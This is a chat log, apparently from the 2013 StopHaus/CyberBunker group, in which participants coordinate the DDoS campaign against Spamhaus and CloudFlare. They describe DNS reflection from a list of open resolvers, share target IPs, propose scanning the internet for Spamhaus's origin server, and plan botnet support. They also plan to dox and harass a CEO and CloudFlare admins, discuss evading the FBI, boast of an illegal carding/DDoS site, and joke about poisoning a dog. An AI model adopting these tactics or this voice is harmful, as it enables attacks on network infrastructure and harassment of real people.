oh [20.03.2013 20:53:25] narko: i am generating a new dns list. then I will start again and it will be over 200 gbps [20.03.2013 20:53:30] narko: the current list is quite old [20.03.2013 20:53:31] eDataKing: lol [20.03.2013 20:53:34] eDataKing: today or tomorrow? [20.03.2013 20:53:42] eDataKing: gotcha [20.03.2013 20:53:58] narko: today [20.03.2013 20:54:03] narko: they wrote about my ACK reflection [20.03.2013 20:54:03] narko: :( [20.03.2013 20:54:03] eDataKing: do your thing big pimpin' :) [20.03.2013 20:54:13] eDataKing: they will try anything to get you to stop [20.03.2013 20:54:27] eDataKing: do not be pursuaded by terrorists when they cut the head off a soldier [20.03.2013 20:54:41] eDataKing: and certainly don't be in fear of a terrorist that calls you an "insurgent" [20.03.2013 20:55:20] narko: In the Spamhaus case, the attacker was sending requests for the DNS zone file for ripe.net to open DNS resolvers. The attacker spoofed the CloudFlare IPs we'd issued for Spamhaus as the source in their DNS requests. [20.03.2013 20:55:23] narko: they need to not write information like this [20.03.2013 20:55:33] narko: they're just going to give people the information to do more attacks [20.03.2013 20:55:48] eDataKing: I would never have released that [20.03.2013 20:56:05] eDataKing: btw, who is Mathew Prince? [20.03.2013 20:56:28] eDataKing: hmmm, lawyer [20.03.2013 20:56:30] narko: the ceo of honeypotflare [20.03.2013 20:56:36] eDataKing: lol [20.03.2013 20:56:47] eDataKing: wonder if he has a personal blog that is less protected? [20.03.2013 20:56:56] narko: no he will use cloudflare too [20.03.2013 20:57:05] eDataKing: yeah, makes sense [20.03.2013 20:57:20] narko: i'm not happy they posted this information [20.03.2013 20:57:30] eDataKing: ok, then we will do him the old fashioned way [20.03.2013 20:57:31] narko: my attack is well-known in certain groups [20.03.2013 20:57:34] narko: and now everyone knows that i did it [20.03.2013 20:57:43] eDataKing: I'll Dox him, add it to the forum, and make his life a living hell [20.03.2013 20:58:00] eDataKing: everyone in the world knows about it [20.03.2013 20:58:05] eDataKing: Information Week published it [20.03.2013 20:58:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm. [20.03.2013 20:59:07] eDataKing: Harvard Grad [20.03.2013 20:59:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no issues, you're a cyberbunker-citizen :P [20.03.2013 20:59:22] eDataKing: he's a regular Silicone Valley nerd with a hard-on [20.03.2013 20:59:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: you can ddos whomever the fuck you want [20.03.2013 21:01:08] Валерий Лёлин: sh down [20.03.2013 21:01:09] Валерий Лёлин: This website is offline No cached version is available What's wrong? The most likely causes: The server is down for maintenance There may be a network problem The site may be experiencing excessive load Retry for a live version of the site What's CloudFlare? This website uses CloudFlare in order to help keep it online when the server is down by serving cached copies of pages when they are unavailable. Unfortunately, a cached copy of the page you requested is not available, but you may be able to reach other cached pages on the site. [20.03.2013 21:08:59] eDataKing: lol, [20.03.2013 21:08:59] eDataKing: This morning at 09:47 UTC CloudFlare effectively dropped off the Internet. The outage affected all of CloudFlare's services including DNS and any services that rely on our web proxy. During the outage, anyone accessing CloudFlare.com or any site on CloudFlare's network would have received a DNS error. Pings and Traceroutes to CloudFlare's network resulted in a "No Route to Host" error. [20.03.2013 21:09:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [20.03.2013 21:09:25] eDataKing: sry, that was on 03-03 [20.03.2013 21:09:27] eDataKing: not related [20.03.2013 21:09:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: someone was doing it better than narko ? [20.03.2013 21:09:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: wth [20.03.2013 21:09:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [20.03.2013 21:09:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: get that guy in here too haha [20.03.2013 21:09:57] eDataKing: wait to see what narko does next though [20.03.2013 21:15:03] Yuri: spamhaus down ? [20.03.2013 21:15:07] Yuri: cloudflare shows down [20.03.2013 21:15:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: nope [20.03.2013 21:15:38] eDataKing: nope [20.03.2013 21:19:37] narko: we need to find more people. [20.03.2013 21:19:49] narko: cloudflare network just has a lag with my attack [20.03.2013 21:20:00] narko: my attack + some botnets will take them down entirely. then they have no choice but to kick spamhaus [20.03.2013 21:20:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm [20.03.2013 21:21:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: you can do tcp attacsks right [20.03.2013 21:21:16] narko: yes [20.03.2013 21:21:27] narko: but it's less effective than udp because they have packet filter rules already for my tcp attacks [20.03.2013 21:21:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not to worry, that kinda shit runs at 300mhz :P [20.03.2013 21:23:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: try 190.93.249.140 179 [20.03.2013 21:23:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and never mind that it won't connect [20.03.2013 21:23:32] Yuri: is it new IP for stophaus.com ? [20.03.2013 21:23:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no [20.03.2013 21:23:50] eDataKing: ok, so we need recruits [20.03.2013 21:23:55] eDataKing: I can handle that. [20.03.2013 21:23:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its the bgp session ip on the cloudflare side [20.03.2013 21:24:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: to ntt [20.03.2013 21:24:10] narko: thats the ip of spamhaus.org [20.03.2013 21:24:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm then they do some really weird shit with ttl [20.03.2013 21:24:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no its not [20.03.2013 21:25:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: wow [20.03.2013 21:25:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: it is [20.03.2013 21:25:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [20.03.2013 21:25:06] narko: cdn-cf.spamhaus.eu. A 30 190.93.248.140 cdn-cf.spamhaus.eu. A 30 190.93.249.140 [20.03.2013 21:25:41] narko: and they used to be so easy [20.03.2013 21:25:58] narko: back in 2009/2010 you could get someone kicked from cloudflare forever because 10gbps took the entire network off [20.03.2013 21:27:33] eDataKing: The we stress the admins that work for Cloudflare? [20.03.2013 21:27:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just send abusemail :P [20.03.2013 21:27:53] eDataKing: if you can't beat them as a unit, do it like 300 and get into a crevice [20.03.2013 21:27:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [20.03.2013 21:28:09] eDataKing: 1-5 admins at a time [20.03.2013 21:28:21] eDataKing: people don't like their work to interfere in their lives...I know first hand [20.03.2013 21:29:36] narko: everyone here is a spammer or knows spammers [20.03.2013 21:29:44] narko: after enough spam to abuse@cloudflare.com they will get tired [20.03.2013 21:29:45] narko: :D [20.03.2013 21:30:41] eDataKing: I met spammers from being on ROKSO [20.03.2013 21:30:45] eDataKing: and Spamhaus enabled that [20.03.2013 21:31:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: spamhaus indeed, brought us like... 75% more customers as well lol [20.03.2013 21:32:56] eDataKing: not that I got rich because I was not spamming...but I did make more being on ROKSO than not, I am certain of that [20.03.2013 21:33:03] narko: hosting has just lost me money [20.03.2013 21:33:04] narko: :( [20.03.2013 21:36:28] Yuri: looks we could abuse cloudflare legaly and find out from cloudflare the real Ips of spamhaus? [20.03.2013 21:36:58] Yuri: as they disclose IPs from the spamhaus abuse for spamhaus. [20.03.2013 21:37:15] narko: they won't do it [20.03.2013 21:37:18] narko: they know spamhaus is a ddos target [20.03.2013 21:37:21] narko: they will keep the real ip private [20.03.2013 21:39:42] narko: someone buy me a laptop that supports backtrack :P [20.03.2013 21:39:54] narko: i will host 10-20 proxies on all the neighbors in my apartment block [20.03.2013 21:42:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: can't we just scan the whole god damn ipv4 (as steve doesn't know what ipv6 is anyway) internet... for hosts that say hi on GET / HTTP/1.0 HOST:www.spamhaus.org [20.03.2013 21:42:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: then we know the real one. [20.03.2013 21:51:14] narko: http://www.spamhaus.org/sbl/latest/ [20.03.2013 21:51:18] narko: they removed the sbl of infium [20.03.2013 21:52:54] eDataKing: so infium must have dropped us [20.03.2013 21:53:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: or infium waved the legal department around [20.03.2013 21:54:40] narko: they still didn't remove my sbl! :P [20.03.2013 21:54:42] Yuri: no ) [20.03.2013 21:55:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:http://www.spamhaus.org/news/article/694/ddos-update-20-march-2013 [20.03.2013 22:01:30] eDataKing: They are listening [20.03.2013 22:01:32] eDataKing: that is one demand [20.03.2013 22:01:42] eDataKing: fix the removal systems [20.03.2013 22:05:09] Yuri: http://blog.cloudflare.com/the-ddos-that-knocked-spamhaus-offline-and-ho cloud flare says 80GB/s [20.03.2013 22:05:18] narko: the graph says 120 [20.03.2013 22:05:24] narko: dont know why they wrote 80 [20.03.2013 22:05:28] narko: then posted a grpah with 120 [20.03.2013 22:05:41] Cali: because that was 80+usual ddos. [20.03.2013 22:06:09] Yuri: becouse about 40 was it's own traffic [20.03.2013 22:10:45] Yuri: We recorded over 30,000 unique DNS resolvers involved in the attack. [20.03.2013 22:10:48] narko: :^) [20.03.2013 22:10:56] narko: it's time to update the list. [20.03.2013 22:10:59] Yuri: need to leave for some time [20.03.2013 22:11:02] narko: the list has 200k. but some must be old and dead now. [20.03.2013 22:11:07] narko: ok, goodbye. [20.03.2013 22:11:13] Yuri: i be back (terminator ( c ) [20.03.2013 22:11:36] eDataKing: ttyl [20.03.2013 22:24:39] narko: who posted the screenshot on nanae please remove it [20.03.2013 22:24:41] narko: it has written my skype name [20.03.2013 22:24:59] narko: t.ravis [20.03.2013 22:25:04] eDataKing: that was the indian [20.03.2013 22:25:13] eDataKing: you said to post it [20.03.2013 22:25:22] eDataKing: I'll tell him [20.03.2013 22:25:31] eDataKing: I don't think it can be removed though [20.03.2013 22:25:52] eDataKing: argh, why didn't you edit that image? [20.03.2013 22:26:01] eDataKing: I will be sure to check all images from here out [20.03.2013 22:26:11] eDataKing: but doesn't the image only say probing? [20.03.2013 22:26:24] narko: no it has my skype username [20.03.2013 22:26:27] narko: i didn't expcet it to be posted [20.03.2013 22:26:29] narko: i just said [20.03.2013 22:26:31] narko: narko: <<< http://i.imgur.com/prDIVYU.png -- current status [20.03.2013 22:27:51] Yuri: don't see any info on screenshot [20.03.2013 22:28:09] eDataKing: I see all but the last digit [20.03.2013 22:28:16] eDataKing: enough to run a trace on that skype account [20.03.2013 22:28:28] eDataKing: but nothing incriminating [20.03.2013 22:28:48] eDataKing: don't they already blame you though? [20.03.2013 22:28:59] narko: no one on nanae/spamhaus knows about me [20.03.2013 22:29:03] eDataKing: I'll tell the indian to wait for approval bwefore posting anything else [20.03.2013 22:29:16] eDataKing: I will also look at the images if there are any more screens [20.03.2013 22:29:38] eDataKing: can you grab a new skype account and nix this one just in case? [20.03.2013 22:29:44] narko: i am just worried. because it has my skype name < i am uploaded the image from my home connection, and FBI in USA already has a case on me ddosing before, they were going to people in america and asking them questions about me [20.03.2013 22:29:44] narko: no [20.03.2013 22:29:45] narko: its fine for me [20.03.2013 22:29:48] narko: for now * [20.03.2013 22:29:50] eDataKing: you said this one was for this session only right? [20.03.2013 22:29:53] narko: yes [20.03.2013 22:30:22] eDataKing: the image won't have any hex code though because it is on imgur [20.03.2013 22:30:24] Yuri: other solution - is to upload same imase from other IPs [20.03.2013 22:30:31] eDataKing: yes [20.03.2013 22:30:36] Yuri: so they have to think who is that was... [20.03.2013 22:30:41] eDataKing: oh, gotcha [20.03.2013 22:30:44] eDataKing: yeah [20.03.2013 22:31:13] eDataKing: I am so used to be completly anon that I would have never imagined you imported that from home [20.03.2013 22:31:54] eDataKing: can you delete it from imgur? [20.03.2013 22:32:30] eDataKing: I want to mitigate any issues because the indian is my dude and I feel responsible for what he did [20.03.2013 22:32:34] narko: no [20.03.2013 22:32:37] narko: nothing will happen [20.03.2013 22:32:41] narko: nothing has ever happened [20.03.2013 22:32:45] eDataKing: ok, so you are ok? [20.03.2013 22:32:48] eDataKing: I agree [20.03.2013 22:32:58] eDataKing: Only nanae and Spamhaus talking shit [20.03.2013 22:32:59] narko: yes. the police in my area don't even know what a ddos is [20.03.2013 22:33:02] eDataKing: nothing else has ever happened [20.03.2013 22:33:09] narko: it was the FBi that was interested in me. and that's in another coutnry USA :P [20.03.2013 22:33:56] eDataKing: The FBI are intrested in everyone [20.03.2013 22:34:15] narko: Isn't port sniffing an unlawful activity? [20.03.2013 22:34:16] narko: lol [20.03.2013 22:34:20] narko: from nanae [20.03.2013 22:34:24] narko: (rofl)(rofl) [20.03.2013 22:40:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the fbi can't do shit as spamhaus themselves already stated not to be subject to us laws [20.03.2013 22:40:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: in the e360 case [20.03.2013 22:40:22] narko: not about spamhaus [20.03.2013 22:40:25] narko: about me [20.03.2013 22:40:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh you are in the us? [20.03.2013 22:40:33] narko: no [20.03.2013 22:40:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well then, too bad for those upgraded traffic cops [20.03.2013 22:40:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [20.03.2013 22:40:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: fbi has nothing to say anywhere outside of the usa [20.03.2013 22:40:58] narko: but I ran an illegal site (carding, ddos, etc) from 2010-2012 and 90% customers were US [20.03.2013 22:41:00] eDataKing: if the FBI ever asked me about Spamhaus I would ask them what their EIN number is and I would only know them by that. lol [20.03.2013 22:41:12] narko: FBI took kids from school, took adults from work, asked them questions about my site [20.03.2013 22:41:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well their citizens not sticking to their law in their own country is their problem, not yours [20.03.2013 22:41:15] narko: and they raided a customer [20.03.2013 22:41:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [20.03.2013 22:41:22] narko: and he went to court. and hee was 14 years old. lol [20.03.2013 22:41:51] eDataKing: I am sure they will ask, but plausible deniability is a beautiful thing in America [20.03.2013 22:42:04] eDataKing: where a warrant is not as easy to get as a Patriot Act letter [20.03.2013 22:42:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if the fbi ever comes to ask anything i'll ask them if they have a work permit for that eu country and have them deported for being illegal immigrants :P [20.03.2013 22:42:21] narko: :D [20.03.2013 22:42:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: their 3 months shengen stay does not allow them to work after all [20.03.2013 22:42:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: asking questions = work [20.03.2013 22:42:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [20.03.2013 22:43:15] eDataKing: yeah right, because Spamhaus really "works with the FBI"? [20.03.2013 22:43:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lets just put it this way... everyone i asked has no problem with the demise of spamhaus :P [20.03.2013 22:44:26] eDataKing: same here, John Caldwell of Red Pill said he would like nothing more than to see Spamhaus down [20.03.2013 22:44:29] narko: i became a valium addict because of the constant fear [20.03.2013 22:44:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [20.03.2013 22:44:35] eDataKing: but he does not have the guts to say that in public [20.03.2013 22:44:44] eDataKing: those were his words, not mine [20.03.2013 22:45:14] narko: since my site got listed on spamhaus [20.03.2013 22:45:29] narko: i have a sudden influx of customers using vpns and paying with liberty reserve [20.03.2013 22:45:30] narko: lol [20.03.2013 22:45:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah me too :P [20.03.2013 22:47:54] narko: my company address is now in UK. and I have no problems [20.03.2013 22:48:00] narko: but before I was using a address in USA [20.03.2013 22:51:04] narko: someone is attacking my home internet [20.03.2013 22:51:11] narko: with 12Mbps [20.03.2013 22:51:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: how cute [20.03.2013 22:51:14] eDataKing: new gmail account, only signed up for google, yahoo, facebook, twitter, skype, linkedin, and got a domain from GD with it [20.03.2013 22:51:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [20.03.2013 22:52:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i have 1 email address per supplier and most go /dev/null [20.03.2013 22:57:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: actually most of my homedirs are on ramdrive... [20.03.2013 22:58:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and the ones that are not get wiped every reboot.. same for wtmp, utmp, lastlog, syslog crap, .ssh dirs (keys!) ,etc [20.03.2013 22:58:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as we run most of our -own- servers of cf cards, its pretty much -all- read only and ramdrives :P [20.03.2013 22:58:44] narko: why do you need to do this in a nuclear bunker [20.03.2013 22:58:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as else you kill the cf cards in like 10k writes [20.03.2013 22:58:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [20.03.2013 22:59:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: narko: because our safehouses and embassies are not. [20.03.2013 23:04:33] narko: will try to attack CF again soon. when new list is completed. [20.03.2013 23:04:42] narko: also got the network connections of the servers changed from cogent to level3 [20.03.2013 23:08:08] Yuri: may be try to fuck one IP by one ? [20.03.2013 23:08:13] Yuri: from the CDN [20.03.2013 23:08:17] eDataKing: lol [20.03.2013 23:32:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: spamhaus asking people to "donate 1000s of euros to a foundation of their choice" to get delisted? [20.03.2013 23:37:22] NM: hahaha))) russian cybercrime=) [20.03.2013 23:38:07] NM: because im from russia [20.03.2013 23:42:40] *** MikeRomero quit *** [21.03.2013 00:06:52] Yuri: +1 [21.03.2013 00:06:52] narko: <<< stophaus.com. A 900 95.31.27.22 stophaus.com. A 900 91.220.163.241 stophaus.com. A 900 77.51.201.120 [21.03.2013 00:07:10] Yuri: anybody want to be listed for nothing? give me more Ips for proxing :) [21.03.2013 00:07:27] narko: if I had dynamic IP, would run proxy on my home server. but I have static [21.03.2013 00:07:35] narko: :| [21.03.2013 00:07:54] Yuri: i use static ips from home lans [21.03.2013 00:08:15] narko: if my static ip is added to rokso or spamhaus i will not be able to sign up to many companies [21.03.2013 00:08:57] eDataKing: yes you will [21.03.2013 00:09:02] eDataKing: I have never not been able to [21.03.2013 00:09:07] narko: this proxy 77.51.201.120 is not working [21.03.2013 00:09:12] narko: it redirect to beeline.ru [21.03.2013 00:09:13] eDataKing: they only responded AFTER a threat from SH was sent [21.03.2013 00:12:09] Yuri: i check [21.03.2013 02:29:59] Yuri: i do export of all spamhaus added networks from our database [21.03.2013 02:30:13] eDataKing: :) [21.03.2013 02:30:18] eDataKing: I am reviewing them [21.03.2013 02:30:19] eDataKing: good data [21.03.2013 02:30:29] Yuri: i try to put them in google docs account [21.03.2013 02:30:29] eDataKing: I know how to build a strong case against them with this [21.03.2013 02:30:33] Yuri: and show you 1st [21.03.2013 02:30:37] eDataKing: :) [21.03.2013 02:57:07] Yuri: https://docs.google.com/spreadsheet/ccc?key=0Aiki68gTXMcndHBBMUVULVVJMklvNC1XWjZOdmtyc0E&usp=sharing new one link for full list of all networks listed by spamhaus [21.03.2013 02:58:04] Yuri: what note shall we put in the above list? [21.03.2013 02:58:44] eDataKing: This is a link that everyone here should be clicking and looking at. [21.03.2013 02:58:58] Yuri: ok [21.03.2013 02:59:36] Antitheist: Yuri does that includes all? [21.03.2013 02:59:44] Yuri: only networks [21.03.2013 03:29:16] narko: http://www.spamhaus.org/sbl/latest/ [21.03.2013 03:29:23] narko: their activity is greatly reduced since yesterday [21.03.2013 03:29:32] narko: before - they added 20 SBL every hour [21.03.2013 03:29:46] Yuri: usually that had 130-200sbls per day [21.03.2013 03:40:43] narko: well i'm going to sleep [21.03.2013 03:40:49] narko: wll attack cloudflare again tomorrow :) [21.03.2013 03:41:14] eDataKing: gn and have a good night's sleep [21.03.2013 03:41:23] Yuri: let's do some PR, i did 2 posts on twitte [21.03.2013 03:41:31] narko: i won't sleep well until i kill my neighbor's dog [21.03.2013 03:41:45] Yuri: today people retwitt cloudflare's ddos. [21.03.2013 03:41:55] Yuri: they just have nothing to do just retwitt [21.03.2013 03:42:00] eDataKing: oh, there is a good chemical for that. Used to smoke out groundhogs with it [21.03.2013 03:56:43] eDataKing: UPDATE (22:52 UTC) SBL and PBL removals are working normally. CBL website and removals are coming up soon. UPDATE (00:29 21 Mar) CBL website is up but DNS is still propogating. When you reach it, removals should work. [21.03.2013 03:57:33] Yuri: aha [21.03.2013 03:57:45] Yuri: i do some twitts [21.03.2013 05:41:45] Yuri: i am off [21.03.2013 07:23:37] edataking: http://tinyurl.com/sblpublic [21.03.2013 07:23:47] edataking: Press Release STOPhaus [21.03.2013 10:00:21] eDataKing: CBL (cbl,http://t.co/M9Jz8KKvi5) is up again, after a heavy DDOS. It is now protected through amazon cloud. #spamhaus [21.03.2013 10:14:19] simomchen: so , SH have separated , and protedted by 2 cloud ? [21.03.2013 10:14:54] eDataKing: yep [21.03.2013 10:15:10] eDataKing: but they are only buying a short amlunt of time really [21.03.2013 10:16:23] simomchen: they must have a contract with cloudflare and amazon , once ddos leave over 7 days. maybe , they will break the contract with these 2 companies [21.03.2013 10:20:32] eDataKing: they will always respond to an attack, I expected them to mitigate [21.03.2013 10:20:48] eDataKing: they had to and it took longer than anyone expected it to. [21.03.2013 10:20:59] eDataKing: But that's ok. There are so many other vulnerabilities [21.03.2013 10:21:14] eDataKing: are they going to put Wordtothewise.com on Cloudflare as well? [21.03.2013 10:21:41] eDataKing: What about ToastedSPAM? [21.03.2013 10:21:56] eDataKing: They going to start protecting Kelly Chien of Chienworks as well? [21.03.2013 10:22:08] eDataKing: No, they will always have areas to hit them [21.03.2013 11:48:00] cb3rob: but those 100 or so gbit, should be able to get their 8 main nameservers down. [21.03.2013 11:48:12] cb3rob: as those most likely are just on 1000base, or 2x1000base each [21.03.2013 11:48:27] eDataKing: true [21.03.2013 11:49:59] cb3rob: oh wait they moved 4 of those to amazon as well :/ [21.03.2013 11:50:13] eDataKing: the CBL went to amazon [21.03.2013 11:50:31] eDataKing: Did some of the spamhaus.org DNS go there as well? [21.03.2013 11:51:20] cb3rob: why not take their 70 nameservers down one by one. [21.03.2013 11:51:25] cb3rob: until their 'sponsors' give up [21.03.2013 11:51:29] cb3rob: then the next one [21.03.2013 11:51:46] eDataKing: wouldn't they mitigate faster than take downs [21.03.2013 11:52:01] eDataKing: sounds great if it can be done [21.03.2013 11:52:09] cb3rob: on lame sponsored dedicated server? no [21.03.2013 11:52:18] cb3rob: at some point they'll run out of people willing to sponsor them [21.03.2013 11:52:19] cb3rob: :P [21.03.2013 11:52:30] cb3rob: especially since now they're well known for receiving 100gbit ddos attacks haha [21.03.2013 11:52:36] eDataKing: lol [21.03.2013 13:13:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: called the ICO yet? :P [21.03.2013 13:13:32] narko: (whew) [21.03.2013 13:13:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as they still did not meet our demands and removed entire rokso, amongst other things [21.03.2013 13:13:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [21.03.2013 13:13:56] narko: they don't answer the telephone [21.03.2013 13:14:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the ico? the ico does answer the telephone [21.03.2013 13:14:12] narko: no [21.03.2013 13:14:22] narko: action fraud is who i called. they don't anwer the telephone [21.03.2013 13:14:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [21.03.2013 13:14:37] narko: but ICO i didn't try [21.03.2013 13:14:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: too much fraud going on [21.03.2013 13:15:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: basically its the task of the ico to make sure random people like spamhaus don't set up websites where they gather and maintain databases, and most of all not publish them... with personal details [21.03.2013 13:15:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: such as, andrews... on rokso :P [21.03.2013 13:16:22] narko: oh [21.03.2013 13:16:36] narko: i will call [21.03.2013 13:16:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: for which ofcourse, the ico can impose some nice FINES [21.03.2013 13:16:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with a lot of 0's behind them [21.03.2013 13:17:28] narko: then they will say [21.03.2013 13:17:34] narko: We're bankrupt! closing the company. [21.03.2013 13:17:44] narko: and Spamhaus ProjectS Ltd will open up [21.03.2013 13:19:10] Antitheist: congratilations narko your SBL was removed [21.03.2013 13:19:25] narko: after 3 days :P I'm still moving. I have server from new DC in russia now [21.03.2013 13:19:31] Antitheist: pin? [21.03.2013 13:19:34] narko: yes [21.03.2013 13:20:02] narko: I will not deal with the british datacenters any more [21.03.2013 13:20:08] narko: even swiftway didn't give a shit about the SBL [21.03.2013 13:20:18] narko: but Racksrv treats it like they're the secret police [21.03.2013 13:20:22] narko: :^) [21.03.2013 13:20:38] Antitheist: just as 90% of DCs [21.03.2013 13:20:44] Antitheist: thats why we have this conference [21.03.2013 13:22:58] narko: I was thinking while i was sleeping [21.03.2013 13:23:05] narko: why not destroy spamhaus by creating a better alternative [21.03.2013 13:23:23] Antitheist: there is [21.03.2013 13:23:32] Antitheist: many of them, its called a real antispam [21.03.2013 13:23:35] Antitheist: like on gmail [21.03.2013 13:23:44] narko: lol [21.03.2013 13:24:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: there are plenty of better alternatives. [21.03.2013 13:24:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that , and an rbl won't work anyway [21.03.2013 13:36:12] Yuri: wake up [21.03.2013 13:36:32] Yuri: looks spamhaus was not able to close stophaus at corbina. we see one listing /24 removed [21.03.2013 13:36:40] Yuri: and one Citadel SBL removed. [21.03.2013 13:36:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i think corbina told em to go to hell [21.03.2013 13:36:48] Yuri: but other one Citadel added. [21.03.2013 13:36:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and called their attorney [21.03.2013 13:37:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if they have insurance for court cases that would be the easiest thing to do :P [21.03.2013 13:37:06] Yuri: looks some customers plays with some sort of viruses. [21.03.2013 14:01:14] Cali: someone attacks spamhaus.org right now? [21.03.2013 14:01:30] Yuri: This website is offline No cached version is available [21.03.2013 14:04:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: maybe they ran into some eh legal issues :P [21.03.2013 14:04:42] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its up from here. [21.03.2013 14:04:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: unfortunately. [21.03.2013 14:10:54] Yuri: today SBLs show that they add only some malware [21.03.2013 14:11:03] Yuri: so looks some their sources are not active [21.03.2013 14:11:37] Yuri: Sven, can you find where do the get infromation about malware? they have a lot of SBLs about Citadel (what's that?) [21.03.2013 14:11:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: a botnet [21.03.2013 14:12:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: some open source spy botnet thing [21.03.2013 14:15:03] Yuri: looks spamhaus pissed off they try to piss everywhere [21.03.2013 14:15:07] Yuri: SBL179470 217.65.0.0/22 citytelecom.ru 21-Mar-2013 11:59 GMT Spammer hosting (escalation) [21.03.2013 14:15:30] narko: is this for providing connectivity to 2x4? [21.03.2013 14:15:35] narko: or another [21.03.2013 14:15:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no this is for being russians haha [21.03.2013 14:15:46] narko: lol [21.03.2013 14:16:00] Yuri: he provide us and some others. [21.03.2013 14:16:02] NM: i cant open their site [21.03.2013 14:42:49] Yuri: i found why ------------------ spamahost wrote yesturday in facebook. One of our VPS nodes is undergoing a node transfer. We are moving the "Zeus" node to a different upstream (which now supports full emailing!), as well as upgraded hardware. Please check your emails for more information, as well as your client areas! and his website was on our network. [21.03.2013 14:42:57] Yuri: so spamhaus pissed on it. [21.03.2013 14:52:03] narko: who is adding these blacklists? [21.03.2013 14:52:09] narko: steve linford? or a worker [21.03.2013 14:52:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the 'escalation/blackmail' ones probably is linford himself [21.03.2013 14:52:44] narko: we need to find the company that provides the sattellite internet to his boat [21.03.2013 14:52:48] narko: and send them the 120gbps ddos :P [21.03.2013 15:09:10] Antitheist: http://www.spamhaus.org/sbl/latest/ [21.03.2013 15:09:16] Antitheist: they are highly after ddos bots now [21.03.2013 15:09:23] Antitheist: probably an act of revenge [21.03.2013 15:09:29] narko: lol [21.03.2013 15:09:34] narko: Brobot [21.03.2013 15:09:35] narko: nice name [21.03.2013 15:09:51] narko: SBL125774 91.217.178.0/24 RIPE 21-Mar 12:57 GMT 2x4.ru Bulletproof Hosting Services via AS29076 [21.03.2013 15:12:36] Antitheist: wow. literally 30 SBLs for ddos bots in the last 2 hours [21.03.2013 15:13:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the ddos is the last thing that should worry them at this point. [21.03.2013 15:14:00] HRH Prinz Sven Olaf von 